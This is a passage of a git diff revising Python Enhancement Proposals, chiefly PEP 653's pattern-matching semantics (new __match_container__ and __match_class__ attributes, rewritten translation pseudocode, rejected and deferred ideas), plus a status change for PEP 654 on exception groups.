such version. @@ -408,8 +410,9 @@ Docs for CPython core developers will be added to the devguide. Reference Implementation ======================== -Nothing presentable yet. +See `issue 43795`_. +.. _issue 43795: https://bugs.python.org/issue43795 Ideas for the Future ==================== diff --git a/pep-0653.rst b/pep-0653.rst index af005ca9362..527f0bff9ea 100644 --- a/pep-0653.rst +++ b/pep-0653.rst @@ -4,77 +4,73 @@ Author: Mark Shannon Status: Draft Type: Standards Track Content-Type: text/x-rst -Created: 9-Feb-2021 +Created: 09-Feb-2021 Post-History: 18-Feb-2021 Abstract ======== -This PEP proposes a semantics for pattern matching that respects the general concept of PEP 634, +This PEP proposes a semantics for pattern matching that respects the general concept of :pep:`634`, but is more precise, easier to reason about, and should be faster. -The object model will be extended with three special (dunder) attributes to support pattern matching: - -* A ``__match_kind__`` attribute. Must be an integer. -* An ``__attributes__`` attribute. Only needed for those classes wanting to customize matching the class pattern. - If present, it must be a tuple of strings. -* A ``__deconstruct__()`` method. Only needed if ``__attributes__`` is present. - Returns an iterable over the components of the deconstructed object. +The object model will be extended with two special (dunder) attributes, ``__match_container__`` and +``__match_class__``, in addition to the ``__match_args__`` attribute from :pep:`634`, to support pattern matching. +Both of these new attributes must be integers and ``__match_args__`` is required to be a tuple of unique strings. With this PEP: * The semantics of pattern matching will be clearer, so that patterns are easier to reason about. * It will be possible to implement pattern matching in a more efficient fashion. -* Pattern matching will be more usable for complex classes, by allowing classes more control over which patterns they match. +* Pattern matching will be more usable for complex classes, by allowing classes some more control over which patterns they match. Motivation ========== -Pattern matching in Python, as described in PEP 634, is to be added to Python 3.10. -Unfortunately, PEP 634 is not as precise about the semantics as it could be, +Pattern matching in Python, as described in :pep:`634`, is to be added to Python 3.10. +Unfortunately, :pep:`634` is not as precise about the semantics as it could be, nor does it allow classes sufficient control over how they match patterns. Precise semantics ----------------- -PEP 634 explicitly includes a section on undefined behavior. +:pep:`634` explicitly includes a section on undefined behavior. Large amounts of undefined behavior may be acceptable in a language like C, but in Python it should be kept to a minimum. -Pattern matching in Python can be defined more precisely without loosing expressiveness or performance. +Pattern matching in Python can be defined more precisely without losing expressiveness or performance. Improved control over class matching ------------------------------------ -PEP 634 assumes that class instances are simply a collection of their attributes, -and that deconstruction by attribute access is the dual of construction. That is not true, as -many classes have a more complex relation between their constructor and internal attributes. -Those classes need to be able to define their own deconstruction. - -For example, using ``sympy``, we might want to write:: - - # sin(x)**2 + cos(x)**2 == 1 - case Add(Pow(sin(a), 2), Pow(cos(b), 2)) if a == b: - return 1 - -For ``sympy`` to support this pattern for PEP 634 would be possible, but tricky and cumbersome. -With this PEP it can be implemented easily [1]_. +:pep:`634` delegates the decision over whether a class is a sequence or mapping to ``collections.abc``. +Not all classes that could be considered sequences are registered as subclasses of ``collections.abc.Sequence``. +This PEP allows them to match sequence patterns, without the full ``collections.abc.Sequence`` machinery. -PEP 634 also privileges some builtin classes with a special form of matching, the "self" match. +:pep:`634` privileges some builtin classes with a special form of matching, the "self" match. For example the pattern ``list(x)`` matches a list and assigns the list to ``x``. By allowing classes to choose which kinds of pattern they match, other classes can use this form as well. +For example, using ``sympy``, we might want to write:: + + # a*a == a**2 + case Mul(args=[Symbol(a), Symbol(b)]) if a == b: + return Pow(a, 2) + +Which requires the sympy class ``Symbol`` to "self" match. +For ``sympy`` to support this pattern with :pep:`634` is possible, but a bit tricky. +With this PEP it can be implemented very easily [1]_. Robustness ---------- With this PEP, access to attributes during pattern matching becomes well defined and deterministic. This makes pattern matching less error prone when matching objects with hidden side effects, such as object-relational mappers. -Objects will have control over their own deconstruction, which can help prevent unintended consequences should attribute access have side-effects. +Objects will have more control over their own deconstruction, which can help prevent unintended consequences should attribute access have side-effects. -PEP 634 relies on the ``collections.abc`` module when determining which patterns a value can match, implicitly importing it if necessary. +:pep:`634` relies on the ``collections.abc`` module when determining which patterns a value can match, implicitly importing it if necessary. This PEP will eliminate surprising import errors and misleading audit events from those imports. + Efficient implementation ------------------------ @@ -101,57 +97,57 @@ A match statement performs a sequence of pattern matches. In general, matching a 2. When deconstructed, does the value match this particular pattern? 3. Is the guard true? -To determine whether a value can match a particular kind of pattern, we add the ``__match_kind__`` attribute. -This allows the kind of a value to be determined once and in a efficient fashion. - -To deconstruct an object, pre-existing special methods can be used for sequence and mapping patterns, but something new is needed for class patterns. -PEP 634 proposes using ad-hoc attribute access, disregarding the possibility of side-effects. -This could be problematic should the attributes of the object be dynamically created or consume resources. -By adding the ``__attributes__`` attribute and ``__deconstruct__()`` method, objects can control how they are deconstructed, -and patterns with a different set of attributes can be efficiently rejected. -Should deconstruction of an object make no sense, then classes can define ``__match_kind__`` to reject class patterns completely. +To determine whether a value can match a particular kind of pattern, we add the ``__match_container__`` +and ``__match_class__`` attributes. +This allows the kind of a value to be determined in a efficient fashion. Specification ============= - Additions to the object model ----------------------------- -A ``__match_kind__`` attribute will be added to ``object``. -It should be overridden by classes that want to match mapping or sequence patterns, -or want change the default behavior when matching class patterns. -It must be an integer and should be exactly one of these:: +The ``__match_container__ ``and ``__match_class__`` attributes will be added to ``object``. +``__match_container__`` should be overridden by classes that want to match mapping or sequence patterns. +``__match_class__`` should be overridden by classes that want to change the default behavior when matching class patterns. + +``__match_container__`` must be an integer and should be exactly one of these:: 0 - MATCH_SEQUENCE - MATCH_MAPPING + MATCH_SEQUENCE = 1 + MATCH_MAPPING = 2 -bitwise ``or``\ ed with exactly one of these:: +``MATCH_SEQUENCE`` is used to indicate that instances of the class can match sequence patterns. + +``MATCH_MAPPING`` is used to indicate that instances of the class can match mapping patterns. + +``__match_class__`` must be an integer and should be exactly one of these:: 0 - MATCH_DEFAULT - MATCH_CLASS - MATCH_SELF + MATCH_SELF = 8 + +``MATCH_SELF`` is used to indicate that for a single positional argument class pattern, the subject will be used and not deconstructed. .. note:: - It does not matter what the actual values are. We will refer to them by name only. - Symbolic constants will be provided both for Python and C, and once defined they will + In the rest of this document, we will refer to the above values by name only. + Symbolic constants will be provided both for Python and C, and the values will never be changed. -Classes inheriting from ``object`` will inherit ``__match_kind__ = MATCH_DEFAULT``. +``object`` will have the following values for the special attributes:: -Classes which define ``__match_kind__ & MATCH_CLASS`` to be non-zero must -implement one additional special attribute, and one special method: + __match_container__ = 0 + __match_class__= 0 + __match_args__ = () -* ``__attributes__``: should hold a tuple of strings indicating the names of attributes that are to be considered for matching; it may be empty for postional-only matches. -* ``__deconstruct__()``: should return a sequence which contains the parts of the deconstructed object. +These special attributes will be inherited as normal. + +If ``__match_args__`` is overridden, then it is required to hold a tuple of unique strings. It may be empty. .. note:: - ``__attributes__`` and ``__deconstruct__`` will be automatically generated for dataclasses and named tuples. + ``__match_args__`` will be automatically generated for dataclasses and named tuples, as specified in :pep:`634`. -The pattern matching implementation is *not* required to check that ``__attributes__`` and ``__deconstruct__`` behave as specified. -If the value of ``__attributes__`` or the result of ``__deconstruct__()`` is not as specified, then +The pattern matching implementation is *not* required to check that any of these attributes behave as specified. +If the value of ``__match_container__``, ``__match_class__`` or ``__match_args__`` is not as specified, then the implementation may raise any exception, or match the wrong pattern. Of course, implementations are free to check these properties and provide meaningful error messages if they can do so efficiently. @@ -160,8 +156,8 @@ Semantics of the matching process In the following, all variables of the form ``$var`` are temporary variables and are not visible to the Python program. They may be visible via introspection, but that is an implementation detail and should not be relied on. -The psuedo-statement ``DONE`` is used to signify that matching is complete and that following patterns should be ignored. -All the translations below include guards. If no guard is present, simply substitute the guard ``if True`` when translating. +The psuedo-statement ``FAIL`` is used to signify that matching failed for this pattern and that matching should move to the next pattern. +If control reaches the end of the translation without reaching a ``FAIL``, then it has matched, and following patterns are ignored. Variables of the form ``$ALL_CAPS`` are meta-variables holding a syntactic element, they are not normal variables. So, ``$VARS = $items`` is not an assignment of ``$items`` to ``$VARS``, @@ -172,161 +168,144 @@ not the values of those variables. The psuedo-function ``QUOTE`` takes a variable and returns the name of that variable. For example, if the meta-variable ``$VAR`` held the variable ``foo`` then ``QUOTE($VAR) == "foo"``. -All additional code listed below that is not present in the original source will not trigger line events, conforming to PEP 626. +All additional code listed below that is not present in the original source will not trigger line events, conforming to :pep:`626`. Preamble '''''''' -Before any patterns are matched, the expression being matched is evaluated and its kind is determined:: +Before any patterns are matched, the expression being matched is evaluated:: match expr: translates to:: $value = expr - $kind = type($value).__match_kind__ - -In addition some helper variables are initialized:: - - $list = None - $dict = None - $attrs = None - $items = None Capture patterns '''''''''''''''' -Capture patterns always match, so:: +Capture patterns always match, so the irrefutable match:: - case capture_var if guard: + case capture_var: translates to:: capture_var = $value - if guard: - DONE Wildcard patterns ''''''''''''''''' Wildcard patterns always match, so:: - case _ if guard: + case _: translates to:: - if guard: - DONE + # No code -- Automatically matches + Literal Patterns '''''''''''''''' The literal pattern:: - case LITERAL if guard: + case LITERAL: translates to:: - if $value == LITERAL and guard: - DONE + if $value != LITERAL: + FAIL except when the literal is one of ``None``, ``True`` or ``False`` , when it translates to:: - if $value is LITERAL and guard: - DONE + if $value is not LITERAL: + FAIL Value Patterns '''''''''''''' The value pattern:: - case value.pattern if guard: + case value.pattern: translates to:: - if $value == value.pattern and guard: - DONE + if $value != value.pattern: + FAIL Sequence Patterns ''''''''''''''''' -Before matching the first sequence pattern, but after checking that ``$value`` is a sequence, -``$value`` is converted to a list. - A pattern not including a star pattern:: - case [$VARS] if guard: + case [$VARS]: translates to:: - if $kind & MATCH_SEQUENCE: - if $list is None: - $list = list($value) - if len($list) == len($VARS): - $VARS = $list - if guard: - DONE + $kind = type($value).__match_container__ + if $kind != MATCH_SEQUENCE: + FAIL + if len($value) != len($VARS): + FAIL + $VARS = $value Example: [2]_ A pattern including a star pattern:: - case [$VARS] if guard + case [$VARS] translates to:: - if $kind & MATCH_SEQUENCE: - if $list is None: - $list = list($value) - if len($list) >= len($VARS): - $VARS = $list # Note that $VARS includes a star expression. - if guard: - DONE + $kind = type($value).__match_container__ + if $kind != MATCH_SEQUENCE: + FAIL + if len($value) < len($VARS): + FAIL + $VARS = $value # Note that $VARS includes a star expression. Example: [3]_ Mapping Patterns '''''''''''''''' -Before matching the first mapping pattern, but after checking that ``$value`` is a mapping, -``$value`` is converted to a ``dict``. - A pattern not including a double-star pattern:: - case {$KEYWORD_PATTERNS} if guard: + case {$KEYWORD_PATTERNS}: translates to:: - if $kind & MATCH_MAPPING: - if $dict is None: - $dict = dict($value) - if $dict.keys() == $KEYWORD_PATTERNS.keys(): - # $KEYWORD_PATTERNS is a meta-variable mapping names to variables. - for $KEYWORD in $KEYWORD_PATTERNS: - $KEYWORD_PATTERNS[$KEYWORD] = $dict[QUOTE($KEYWORD)] - if guard: - DONE + $sentinel = object() + $kind = type($value).__match_container__ + if $kind != MATCH_MAPPING: + FAIL + # $KEYWORD_PATTERNS is a meta-variable mapping names to variables. + for $KEYWORD in $KEYWORD_PATTERNS: + $tmp = $value.get(QUOTE($KEYWORD), $sentinel) + if $tmp is $sentinel: + FAIL + $KEYWORD_PATTERNS[$KEYWORD] = $tmp Example: [4]_ A pattern including a double-star pattern:: - case {$KEYWORD_PATTERNS, **$DOUBLE_STARRED_PATTERN} if guard:: + case {$KEYWORD_PATTERNS, **$DOUBLE_STARRED_PATTERN}: translates to:: - if $kind & MATCH_MAPPING: - if $dict is None: - $dict = dict($value) - if $dict.keys() >= $KEYWORD_PATTERNS.keys(): - # $KEYWORD_PATTERNS is a meta-variable mapping names to variables. - $tmp = dict($dict) - for $KEYWORD in $KEYWORD_PATTERNS: - $KEYWORD_PATTERNS[$KEYWORD] = $tmp.pop(QUOTE($KEYWORD)) - $DOUBLE_STARRED_PATTERN = $tmp - DONE + $kind = type($value).__match_container__ + if $kind != MATCH_MAPPING: + FAIL + # $KEYWORD_PATTERNS is a meta-variable mapping names to variables. + $tmp = dict($value) + if not $tmp.keys() >= $KEYWORD_PATTERNS.keys(): + FAIL: + for $KEYWORD in $KEYWORD_PATTERNS: + $KEYWORD_PATTERNS[$KEYWORD] = $tmp.pop(QUOTE($KEYWORD)) + $DOUBLE_STARRED_PATTERN = $tmp Example: [5]_ @@ -335,135 +314,170 @@ Class Patterns Class pattern with no arguments:: - match ClsName() if guard: + case ClsName(): translates to:: - if $kind & MATCH_CLASS: - if isinstance($value, ClsName): - if guard: - DONE - + if not isinstance($value, ClsName): + FAIL Class pattern with a single positional pattern:: - match ClsName($PATTERN) if guard: + case ClsName($VAR): translates to:: - if $kind & MATCH_SELF: - if isinstance($value, ClsName): - x = $value - if guard: - DONE + $kind = type($value).__match_class__ + if $kind == MATCH_SELF: + if not isinstance($value, ClsName): + FAIL + $VAR = $value else: As other positional-only class pattern Positional-only class pattern:: - match ClsName($VARS) if guard: + case ClsName($VARS): translates to:: - if $kind & MATCH_CLASS: - if isinstance($value, ClsName): - if $items is None: - $items = type($value).__deconstruct__($value) - # $VARS is a meta-variable. - if len($items) == len($VARS): - $VARS = $items - if guard: - DONE + if not isinstance($value, ClsName): + FAIL + $attrs = ClsName.__match_args__ + if len($attr) < len($VARS): + raise TypeError(...) + try: + for i, $VAR in enumerate($VARS): + $VAR = getattr($value, $attrs[i]) + except AttributeError: + FAIL + +Example: [6]_ +Class patterns with all keyword patterns:: -.. note:: + case ClsName($KEYWORD_PATTERNS): - ``__attributes__`` is not checked when matching positional-only class patterns, - this allows classes to match only positional-only patterns by setting ``__attributes__`` to ``()``. +translates to:: + + if not isinstance($value, ClsName): + FAIL + try: + for $KEYWORD in $KEYWORD_PATTERNS: + $tmp = getattr($value, QUOTE($KEYWORD)) + $KEYWORD_PATTERNS[$KEYWORD] = $tmp + except AttributeError: + FAIL + +Example: [7]_ -Class patterns with keyword patterns:: +Class patterns with positional and keyword patterns:: - match ClsName($VARS, $KEYWORD_PATTERNS) if guard: + case ClsName($VARS, $KEYWORD_PATTERNS): translates to:: - if $kind & MATCH_CLASS: - if isinstance($value, ClsName): - if $attrs is None: - $attrs = type($value).__attributes__ - if $items is None: - $items = type($value).__deconstruct__($value) - $right_attrs = attrs[len($VARS):] - if set($right_attrs) >= set($KEYWORD_PATTERNS): - $VARS = items[:len($VARS)] - for $KEYWORD in $KEYWORD_PATTERNS: - $index = $attrs.index(QUOTE($KEYWORD)) - $KEYWORD_PATTERNS[$KEYWORD] = $items[$index] - if guard: - DONE + if not isinstance($value, ClsName): + FAIL + $attrs = ClsName.__match_args__ + if len($attr) < len($VARS): + raise TypeError(...) + $pos_attrs = $attrs[:len($VARS)] + try: + for i, $VAR in enumerate($VARS): + $VAR = getattr($value, $attrs[i]) + for $KEYWORD in $KEYWORD_PATTERNS: + $name = QUOTE($KEYWORD) + if $name in pos_attrs: + raise TypeError(...) + $KEYWORD_PATTERNS[$KEYWORD] = getattr($value, $name) + except AttributeError: + FAIL -Example: [6]_ +Example: [8]_ -Class patterns with all keyword patterns:: - match ClsName($KEYWORD_PATTERNS) if guard: +Nested patterns +''''''''''''''' + +The above specification assumes that patterns are not nested. For nested patterns +the above translations are applied recursively by introducing temporary capture patterns. + +For example, the pattern:: + + case [int(), str()]: translates to:: - if $kind & MATCH_CLASS: - As above with $VARS == () - elif $kind & MATCH_DEFAULT: - if isinstance($value, ClsName) and hasattr($value, "__dict__"): - if $value.__dict__.keys() >= set($KEYWORD_PATTERNS): - for $KEYWORD in $KEYWORD_PATTERNS: - $KEYWORD_PATTERNS[$KEYWORD] = $value.__dict__[QUOTE($KEYWORD)] - if guard: - DONE + $kind = type($value).__match_class__ + if $kind != MATCH_SEQUENCE: + FAIL + if len($value) != 2: + FAIL + $value_0, $value_1 = $value + #Now match on temporary values + if not isinstance($value_0, int): + FAIL + if not isinstance($value_1, str): + FAIL -Example: [7]_ +Guards +'''''' -Non-conforming ``__match_kind__`` -''''''''''''''''''''''''''''''''' +Guards translate to a test following the rest of the translation:: + + case pattern if guard: -All classes should ensure that the the value of ``__match_kind__`` follows the specification. -Therefore, implementations can assume, without checking, that all the following are true:: +translates to:: + + [translation for pattern] + if not guard: + FAIL + + +Non-conforming special attributes +''''''''''''''''''''''''''''''''' - (__match_kind__ & (MATCH_SEQUENCE | MATCH_MAPPING)) != (MATCH_SEQUENCE | MATCH_MAPPING) - (__match_kind__ & (MATCH_SELF | MATCH_CLASS)) != (MATCH_SELF | MATCH_CLASS) - (__match_kind__ & (MATCH_SELF | MATCH_DEFAULT)) != (MATCH_SELF | MATCH_DEFAULT) - (__match_kind__ & (MATCH_DEFAULT | MATCH_CLASS)) != (MATCH_DEFAULT | MATCH_CLASS) +All classes should ensure that the the values of ``__match_container__``, ``__match_class__`` +and ``__match_args__`` follow the specification. +Therefore, implementations can assume, without checking, that the following are true:: -Thus, implementations can assume that ``__match_kind__ & MATCH_SEQUENCE`` implies ``(__match_kind__ & MATCH_MAPPING) == 0``, and vice-versa. -Likewise for ``MATCH_SELF``, ``MATCH_CLASS`` and ``MATCH_DEFAULT``. + __match_container__ == 0 or __match_container__ == MATCH_SEQUENCE or __match_container__ == MATCH_MAPPING + __match_class__ == 0 or __match_class__ == MATCH_SELF -If ``__match_kind__`` does not follow the specification, -then implementations may treat any of the expressions of the form ``$kind & MATCH_...`` above as having any value. +and that ``__match_args__`` is a tuple of unique strings. -Implementation of ``__match_kind__`` in the standard library ------------------------------------------------------------- +Values of the special attributes for classes in the standard library +-------------------------------------------------------------------- -``object.__match_kind__`` will be ``MATCH_DEFAULT``. +For the core builtin container classes ``__match_container__`` will be: -For common builtin classes ``__match_kind__`` will be: +* ``list``: ``MATCH_SEQUENCE`` +* ``tuple``: ``MATCH_SEQUENCE`` +* ``dict``: ``MATCH_MAPPING`` +* ``bytearray``: 0 +* ``bytes``: 0 +* ``str``: 0 -* ``bool``: ``MATCH_SELF`` -* ``bytearray``: ``MATCH_SELF`` -* ``bytes``: ``MATCH_SELF`` -* ``float``: ``MATCH_SELF`` -* ``frozenset``: ``MATCH_SELF`` -* ``int``: ``MATCH_SELF`` -* ``set``: ``MATCH_SELF`` -* ``str``: ``MATCH_SELF`` -* ``list``: ``MATCH_SEQUENCE | MATCH_SELF`` -* ``tuple``: ``MATCH_SEQUENCE | MATCH_SELF`` -* ``dict``: ``MATCH_MAPPING | MATCH_SELF`` +Named tuples will have ``__match_container__`` set to ``MATCH_SEQUENCE``. -Named tuples will have ``__match_kind__`` set to ``MATCH_SEQUENCE | MATCH_CLASS``. +* All other standard library classes for which ``issubclass(cls, collections.abc.Mapping)`` is true will have ``__match_container__`` set to ``MATCH_MAPPING``. +* All other standard library classes for which ``issubclass(cls, collections.abc.Sequence)`` is true will have ``__match_container__`` set to ``MATCH_SEQUENCE``. -* All other standard library classes for which ``issubclass(cls, collections.abc.Mapping)`` is true will have ``__match_kind__`` set to ``MATCH_MAPPING``. -* All other standard library classes for which ``issubclass(cls, collections.abc.Sequence)`` is true will have ``__match_kind__`` set to ``MATCH_SEQUENCE``. +For the following builtin classes ``__match_class__`` will be set to ``MATCH_SELF``: +* ``bool`` +* ``bytearray`` +* ``bytes`` +* ``float`` +* ``frozenset`` +* ``int`` +* ``set`` +* ``str`` +* ``list`` +* ``tuple`` +* ``dict`` Legal optimizations ------------------- @@ -475,12 +489,27 @@ on the naive implementation. When performing matching, implementations are allowed to treat the following functions and methods as pure: -* ``cls.__len__()`` for any class supporting ``MATCH_SEQUENCE`` -* ``dict.keys()`` -* ``dict.__contains__()`` -* ``dict.__getitem__()`` +For any class supporting ``MATCH_SEQUENCE``:: + +* ``cls.__len__()`` +* ``cls.__getitem__()`` + +For any class supporting ``MATCH_MAPPING``:: + +* ``cls.get()`` (Two argument form only) + +Implementations are allowed to make the following assumptions: + +* ``isinstance(obj, cls)`` can be freely replaced with ``issubclass(type(obj), cls)`` and vice-versa. +* ``isinstance(obj, cls)`` will always return the same result for any ``(obj, cls)`` pair and repeated calls can thus be elided. +* Reading any of ``__match_container__``, ``__match_class__`` or ``__match_args__`` is a pure operation, and may be cached. +* Sequences, that is any class for which ``__match_container__ == MATCH_SEQUENCE`` is not zero, are not modified by iteration, subscripting or calls to ``len()``. + Consequently, those operations can be freely substituted for each other where they would be equivalent when applied to an immutable sequence. +* Mappings, that is any class for which ``__match_container__ == MATCH_MAPPING`` is not zero, will not capture the second argument of the ``get()`` method. + So, the ``$sentinel`` value may be freely re-used. + +In fact, implementations are encouraged to make these assumptions, as it is likely to result in significantly better performance. -Implementations are also allowed to freely replace ``isinstance(obj, cls)`` with ``issubclass(type(obj), cls)`` and vice-versa. Security Implications ===================== @@ -492,7 +521,7 @@ Implementation The naive implementation that follows from the specification will not be very efficient. Fortunately, there are some reasonably straightforward transformations that can be used to improve performance. -Performance should be comparable to the implementation of PEP 634 (at time of writing) by the release of 3.10. +Performance should be comparable to the implementation of :pep:`634` (at time of writing) by the release of 3.10. Further performance improvements may have to wait for the 3.11 release. Possible optimizations @@ -515,7 +544,7 @@ Sequence patterns This is probably the most complex to optimize and the most profitable in terms of performance. Since each pattern can only match a range of lengths, often only a single length, -the sequence of tests can be rewitten in as an explicit iteration over the sequence, +the sequence of tests can be rewritten in as an explicit iteration over the sequence, attempting to match only those patterns that apply to that sequence length. For example: @@ -585,20 +614,20 @@ The mapping lane can be implemented, roughly as: :: # Choose lane - if len($dict) == 2: - if "a" in $dict: - if "b" in $dict: - x = $dict["a"] - y = $dict["b"] + if len($value) == 2: + if "a" in $value: + if "b" in $value: + x = $value["a"] + y = $value["b"] goto W - if "c" in $dict: - x = $dict["a"] - y = $dict["c"] + if "c" in $value: + x = $value["a"] + y = $value["c"] goto X - elif len(dict) == 3: - if "a" in $dict and "b" in $dict: - x = $dict["a"] - y = $dict["c"] + elif len($value) == 3: + if "a" in $value and "b" in $value: + x = $value["a"] + y = $value["c"] goto Y other = $value goto Z @@ -609,34 +638,83 @@ Summary of differences between this PEP and PEP 634 The changes to the semantics can be summarized as: -* Selecting the kind of pattern uses ``cls.__match_kind__`` instead of - ``issubclass(cls, collections.abc.Mapping)`` and ``issubclass(cls, collections.abc.Sequence)`` - and allows classes control over which kinds of pattern they match. -* Class matching is via the ``__attributes__`` attribute and ``__deconstruct__`` method, - rather than the ``__match_args__`` method, and allows classes more control over how - they are deconstructed. -* The default behavior when matching a class pattern with keyword patterns is changed. - Only the instance dictionary is used. This is to avoid unintended capture of bound-methods. +* Requires ``__match_args__`` to be a *tuple* of strings, not just a sequence. + This make pattern matching a bit more robust and optimizable as ``__match_args__`` can be assumed to be immutable. +* Selecting the kind of container patterns that can be matched uses ``cls.__match_container__`` instead of + ``issubclass(cls, collections.abc.Mapping)`` and ``issubclass(cls, collections.abc.Sequence)``. +* Allows classes to opt out of deconstruction altogether, if necessary, but setting ``__match_class__ = 0``. +* The behavior when matching patterns is more precisely defined, but is otherwise unchanged. -There are no changes to syntax. +There are no changes to syntax. All examples given in the :pep:`636` tutorial should continue to work as they do now. Rejected Ideas ============== -None, as yet. +Using attributes from the instance's dictionary +----------------------------------------------- +An earlier version of this PEP only used attributes from the instance's dictionary when matching a class pattern with ``__match_class__`` was the default value. +The intent was to avoid capturing bound-methods and other synthetic attributes. However, this also mean that properties were ignored. -Open Issues -=========== +For the class:: -None, as yet. + class C: + def __init__(self): + self.a = "a" + @property + def p(self): + ... + def m(self): + ... +Ideally we would match the attributes "a" and "p", but not "m". +However, there is no general way to do that, so this PEP now follows the semantics of :pep:`634`. -References -========== +Lookup of ``__match_args__`` on the subject not the pattern +----------------------------------------------------------- + +An earlier version of this PEP looked up ``__match_args__`` on the class of the subject and +not the class specified in the pattern. +This has been rejected for a few reasons:: + +* Using the class specified in the pattern is more amenable to optimization and can offer better performance. +* Using the class specified in the pattern has the potential to provide better error reporting is some cases. +* Neither approach is perfect, both have odd corner cases. Keeping the status quo minimizes disruption. + +Combining ``__match_class__`` and ``__match_container__`` into a single value +----------------------------------------------------------------------------- + +An earlier version of this PEP combined ``__match_class__`` and ``__match_container__`` into a single value, ``__match_kind__``. +Using a single value has a small advantage in terms of performance, +but is likely to result in unintended changes to container matching when overriding class matching behavior, and vice versa. + + +Deferred Ideas +============== + +The original version of this PEP included the match kind ``MATCH_POSITIONAL`` and special method +``__deconstruct__`` which would allow classes full control over their matching. This is important +for libraries like ``sympy``. + +For example, using ``sympy``, we might want to write:: + + # sin(x)**2 + cos(x)**2 == 1 + case Add(Pow(sin(a), 2), Pow(cos(b), 2)) if a == b: + return 1 + +For ``sympy`` to support the positional patterns with current pattern matching is possible, +but is tricky. With these additional features it can be implemented easily [9]_. + +This idea will feature in a future PEP for 3.11. +However, it is too late in the 3.10 development cycle for such a change. + +Having a separate value to reject all class matches +--------------------------------------------------- + +In an earlier version of this PEP, there was a distinct value for ``__match_class__`` that allowed classes to not match any class +pattern that would have required deconstruction. However, this would become redundant once ``MATCH_POSITIONAL`` is introduced, and +complicates the specification for an extremely rare case. -PEP 634 -https://www.python.org/dev/peps/pep-0634 Code examples ============= @@ -645,11 +723,8 @@ Code examples :: - class Basic: - __match_kind__ = MATCH_CLASS - __attributes__ = () - def __deconstruct__(self): - return self._args + class Symbol: + __match_class__ = MATCH_SELF .. [2] @@ -659,13 +734,14 @@ This:: translates to:: - if $kind & MATCH_SEQUENCE: - if $list is None: - $list = list($value) - if len($list) == 2: - a, b = $list - if a is b: - DONE + $kind = type($value).__match_container__ + if $kind != MATCH_SEQUENCE: + FAIL + if len($value) != 2: + FAIL + a, b = $value + if not a is b: + FAIL .. [3] @@ -675,12 +751,12 @@ This:: translates to:: - if $kind & MATCH_SEQUENCE: - if $list is None: - $list = list($value) - if len($list) >= 2: - a, *b, c = $list - DONE + $kind = type($value).__match_container__ + if $kind != MATCH_SEQUENCE: + FAIL + if len($value) < 2: + FAIL + a, *b, c = $value .. [4] @@ -690,53 +766,56 @@ This:: translates to:: - if $kind & MATCH_MAPPING: - if $dict is None: - $dict = dict($value) - if $dict.keys() == {"x", "y"}: - x = $dict["x"] - y = $dict["y"] - if x > 2: - DONE + $kind = type($value).__match_container__ + if $kind != MATCH_MAPPING: + FAIL + $tmp = $value.get("x", $sentinel) + if $tmp is $sentinel: + FAIL + x = $tmp + $tmp = $value.get("y", $sentinel) + if $tmp is $sentinel: + FAIL + y = $tmp + if not x > 2: + FAIL .. [5] This:: - case {"x": x, "y": y, **: z}: + case {"x": x, "y": y, **z}: translates to:: - if $kind & MATCH_MAPPING: - if $dict is None: - $dict = dict($value) - if $dict.keys() >= {"x", "y"}: - $tmp = dict($dict) - x = $tmp.pop("x") - y = $tmp.pop("y") - z = $tmp - DONE + $kind = type($value).__match_container__ + if $kind != MATCH_MAPPING: + FAIL + $tmp = dict($value) + if not $tmp.keys() >= {"x", "y"}: + FAIL + x = $tmp.pop("x") + y = $tmp.pop("y") + z = $tmp .. [6] This:: - match ClsName(x, a=y): + match ClsName(x, y): translates to:: - if $kind & MATCH_CLASS: - if isinstance($value, ClsName): - if $attrs is None: - $attrs = type($value).__attributes__ - if $items is None: - $items = type($value).__deconstruct__($value) - $right_attrs = $attrs[1:] - if "a" in $right_attrs: - $y_index = $attrs.index("a") - x = $items[0] - y = $items[$y_index] - DONE + if not isinstance($value, ClsName): + FAIL + $attrs = ClsName.__match_args__ + if len($attr) < 2: + FAIL + try: + x = getattr($value, $attrs[0]) + y = getattr($value, $attrs[1]) + except AttributeError: + FAIL .. [7] @@ -746,25 +825,45 @@ This:: translates to:: - if $kind & MATCH_CLASS: - if isinstance($value, ClsName): - if $attrs is None: - $attrs = type($value).__attributes__ - if $items is None: - $items = type($value).__deconstruct__($value) - if "a" in $attrs and "b" in $attrs: - $x_index = $attrs.index("a") - x = $items[$x_index] - $y_index = $attrs.index("b") - y = $items[$y_index] - DONE - elif $kind & MATCH_DEFAULT: - if isinstance($value, ClsName) and hasattr($value, "__dict__"): - $obj_dict = $value.__dict__ - if "a" in $obj_dict and "b" in $obj_dict: - x = $obj_dict["a"] - y = $obj_dict["b"] - DONE + if not isinstance($value, ClsName): + FAIL + try: + x = $value.a + y = $value.b + except AttributeError: + FAIL + +.. [8] + +This:: + + match ClsName(x, a=y): + +translates to:: + + + if not isinstance($value, ClsName): + FAIL + $attrs = ClsName.__match_args__ + if len($attr) < 1: + raise TypeError(...) + $positional_names = $attrs[:1] + try: + x = getattr($value, $attrs[0]) + if "a" in $positional_names: + raise TypeError(...) + y = $value.a + except AttributeError: + FAIL + +.. [9] + +:: + + class Basic: + __match_class__ = MATCH_POSITIONAL + def __deconstruct__(self): + return self._args Copyright diff --git a/pep-0654.rst b/pep-0654.rst index ccd9a634c14..3faa58c3590 100644 --- a/pep-0654.rst +++ b/pep-0654.rst @@ -3,11 +3,11 @@ Title: Exception Groups and except* Author: Irit Katriel , Yury Selivanov , Guido van Rossum -Status: Draft +Status: Accepted Type: Standards Track Content-Type: text/x-rst Created: 22-Feb-2021 -Post-History: 22-Feb-2021 +Post-History: 22-Feb-2021, 20-Mar-2021 Abstract @@ -58,7 +58,7 @@ together as the stack unwinds. Several real world use cases are listed below. * **Multiple user callbacks fail.** Python's ``atexit.register()`` function allows users to register functions that are called on system exit. If any of them raise exceptions, only the last one is reraised, but it would be better - to reraised all of them together (see ``atexit`` documentation [5]_.) + to reraise all of them together (see ``atexit`` documentation [5]_.) Similarly, the pytest library allows users to register finalizers which are executed at teardown. If more than one of these finalizers raises an exception, only the first is reported to the user. This can be improved with @@ -98,49 +98,76 @@ Trio [2]_ is an example of a library that has made use of this technique in its ``MultiError`` [9]_ type. However, such an approach requires calling code to catch the container exception type, and then to inspect it to determine the types of errors that had occurred, extract the ones it wants to handle, and reraise the -rest. +rest. Furthermore, exceptions in Python have important information attached to +their ``__traceback__``, ``__cause__`` and ``__context__`` fields, and +designing a container type that preserves the integrity of this information +requires care; it is not as simple as collecting exceptions into a set. Changes to the language are required in order to extend support for -``ExceptionGroups`` in the style of existing exception handling mechanisms. At -the very least we would like to be able to catch an 